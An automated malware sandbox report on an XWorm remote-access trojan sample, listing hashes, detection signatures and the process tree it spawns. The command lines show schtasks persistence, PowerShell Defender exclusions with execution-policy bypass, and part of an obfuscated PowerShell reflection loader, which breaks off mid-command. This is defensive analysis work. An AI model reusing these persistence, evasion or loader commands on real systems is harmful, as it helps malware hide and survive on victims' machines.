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Windows
Analysis Report
mIURiU8n2P.exe
Overview
General Information
Sample name: | mIURiU8n2P.exerenamed because original name is a hash value |
Original sample name: | bd00a7577088b67b52699f956275a3f563d623ca907feeeaee8d2f821d35de40.exe |
Analysis ID: | 1532627 |
MD5: | e1c82191b678cea8f3c996887ddc1232 |
SHA1: | 7946006ca278892817b7a778eea1e04f5b2f948c |
SHA256: | bd00a7577088b67b52699f956275a3f563d623ca907feeeaee8d2f821d35de40 |
Tags: | exeuser-Chainskilabs |
Infos: | |
Detection
XWorm
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Schedule system process
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected Telegram RAT
Yara detected XWorm
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
.NET source code contains process injector
.NET source code contains very large strings
.NET source code references suspicious native API functions
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Check if machine is in data center or colocation facility
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to compare user and computer (likely to detect sandboxes)
Contains functionality to inject code into remote processes
Contains functionality to log keystrokes (.Net Source)
Creates a thread in another existing process (thread injection)
Creates multiple autostart registry keys
Drops PE files to the user root directory
Found suspicious powershell code related to unpacking or dynamic code loading
Hooks files or directories query functions (used to hide files and directories)
Hooks processes query functions (used to hide processes)
Hooks registry keys query functions (used to hide registry keys)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Installs new ROOT certificates
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Obfuscated command line found
Protects its processes via BreakOnTermination flag
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sample uses string decryption to hide its real strings
Sigma detected: Execution from Suspicious Folder
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Parent in Public Folder Suspicious Process
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential WinAPI Calls Via CommandLine
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Program Location with Network Connections
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses schtasks.exe or at.exe to add and modify task schedules
Uses the Telegram API (likely for C&C communication)
Writes to foreign memory regions
Yara detected Generic Downloader
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates COM task schedule object (often to register a task for autostart)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates a window with clipboard capturing capabilities
Creates files inside the system directory
Creates job files (autostart)
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected non-DNS traffic on DNS port
Detected potential crypto function
Drops PE files
Drops PE files to the user directory
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (may stop execution after accessing registry keys)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Powershell Defender Exclusion
Sigma detected: Startup Folder File Write
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: Uncommon Svchost Parent Process
Stores files to the Windows start menu directory
Stores large binary data to the registry
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- mIURiU8n2P.exe (PID: 2076 cmdline:
"C:\Users\ user\Deskt op\mIURiU8 n2P.exe" MD5: E1C82191B678CEA8F3C996887DDC1232) - DeadXClient.exe (PID: 5324 cmdline:
"C:\Users\ Public\Dea dXClient.e xe" MD5: F1976EA02BFFAEF5AC943C2ABBB7426C) - schtasks.exe (PID: 7244 cmdline:
"C:\Window s\System32 \schtasks. exe" /crea te /f /RL HIGHEST /s c minute / mo 1 /tn " Deadsvchos t" /tr "C: \Users\Pub lic\Deadsv chost.exe" MD5: 76CD6626DD8834BD4A42E6A565104DC2) - conhost.exe (PID: 7260 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - DeadROOTkit.exe (PID: 5804 cmdline:
"C:\Users\ Public\Dea dROOTkit.e xe" MD5: 7DD98FC2976EE270A278E1A9A28EEFAE) - powershell.exe (PID: 7176 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Execution Policy Byp ass Add-Mp Preference -Exclusio nPath 'C:\ Users\Publ ic\DeadROO Tkit.exe' MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7184 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7868 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Execution Policy Byp ass Add-Mp Preference -Exclusio nProcess ' DeadROOTki t.exe' MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7876 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - Deadsvchost.exe (PID: 8132 cmdline:
"C:\Users\ Public\Dea dsvchost.e xe" MD5: F1976EA02BFFAEF5AC943C2ABBB7426C) - DeadCodeRootKit.exe (PID: 3444 cmdline:
"C:\Users\ Public\Dea dCodeRootK it.exe" MD5: B8479A23C22CF6FC456E197939284069)
- powershell.exe (PID: 5480 cmdline:
C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.EXE "f unction Lo cal:bubCgl TffNzZ{Par am([Output Type([Type ])][Parame ter(Positi on=0)][Typ e[]]$QBDRA qnALMmwja, [Parameter (Position= 1)][Type]$ duQqlSyxSK )$pNdjVVbn fJT=[AppDo main]::Cur rentDomain .DefineDyn amicAssemb ly((New-Ob ject Refle ction.Asse mblyName(' '+[Char](8 2)+''+'e'+ ''+[Char]( 102)+''+[C har](108)+ ''+[Char]( 101)+''+'c '+''+[Char ](116)+''+ [Char](101 )+''+[Char ](100)+''+ [Char](68) +'e'+[Char ](108)+''+ [Char](101 )+''+'g'+' '+[Char](9 7)+''+[Cha r](116)+'e ')),[Refle ction.Emit .AssemblyB uilderAcce ss]::Run). DefineDyna micModule( 'I'+'n'+'' +[Char](77 )+''+'e'+' '+[Char](1 09)+''+'o' +''+'r'+'y '+[Char](7 7)+'o'+[Ch ar](100)+' '+[Char](1 17)+'l'+[C har](101)+ '',$False) .DefineTyp e(''+'M'+' '+[Char](1 21)+'De'+' l'+'e'+[Ch ar](103)+' '+[Char](9 7)+''+[Cha r](116)+'' +'e'+''+'T '+''+'y'+' '+'p'+''+' e'+'',''+[ Char](67)+ ''+[Char]( 108)+''+[C har](97)+' '+[Char](1 15)+''+'s' +''+[Char] (44)+''+[C har](80)+' u'+'b'+'l' +[Char](10 5)+''+[Cha r](99)+',' +'S'+''+'e '+''+[Char ](97)+''+[ Char](108) +''+[Char] (101)+'d,A '+[Char](1 10)+''+[Ch ar](115)+' i'+[Char]( 67)+''+'l' +''+[Char] (97)+''+[C har](115)+ ''+'s'+''+ [Char](44) +'Au'+[Cha r](116)+'' +'o'+''+[C har](67)+' '+[Char](1 08)+''+'a' +''+[Char] (115)+''+[ Char](115) +'',[Multi castDelega te]);$pNdj VVbnfJT.De fineConstr uctor(''+[ Char](82)+ ''+[Char]( 84)+'S'+[C har](112)+ ''+'e'+''+ [Char](99) +''+[Char] (105)+''+[ Char](97)+ ''+[Char]( 108)+''+'N '+''+[Char ](97)+'m'+ [Char](101 )+''+','+' '+'H'+''+[ Char](105) +''+'d'+'' +'e'+''+[C har](66)+' y'+[Char]( 83)+'i'+'g '+''+[Char ](44)+''+' P'+''+[Cha r](117)+'' +[Char](98 )+''+'l'+' '+'i'+''+[ Char](99)+ '',[Reflec tion.Calli ngConventi ons]::Stan dard,$QBDR AqnALMmwja ).SetImple mentationF lags('R'+[ Char](117) +''+'n'+'t '+[Char](1 05)+''+'m' +''+[Char] (101)+''+[ Char](44)+ ''+'M'+''+ [Char](97) +''+[Char] (110)+''+[ Char](97)+ ''+[Char]( 103)+''+[C har](101)+ ''+[Char]( 100)+'');$ pNdjVVbnfJ T.DefineMe thod(''+[C har](73)+' '+[Char](1 10)+''+[Ch ar](118)+' '+[Char](1 11)+''+[Ch ar](107)+' '+'e'+'',' '+'P'+''+[ Char](117) +'bl'+[Cha r](105)+'' +[Char](99 )+''+[Char ](44)+''+[ Char](72)+ ''+'i'+''+ [Char](100 )+'e'+'B'+ ''+[Char]( 121)+''+'S '+''+'i'+' '+'g'+''+[ Char](44)+ ''+[Char]( 78)+''+[Ch ar](101)+' '+[Char](1 19)+''+[Ch ar](83)+'' +[Char](10 8)+''+[Cha r](111)+'' +'t'+','+[ Char](86)+ ''+[Char]( 105)+'r'+[ Char](116) +'u'+'a'+' '+'l'+'',$ duQqlSyxSK ,$QBDRAqnA LMmwja).Se tImplement ationFlags (''+[Char] (82)+''+[C har](117)+ ''+[Char]( 110)+''+[C har](116)+ ''+[Char]( 105)+''+[C har](109)+ 'e'+[Char] (44)+''+'M '+'a'+[Cha r](110)+'' +[Char](97 )+''+'g'+' '+[Char](1 01)+''+[Ch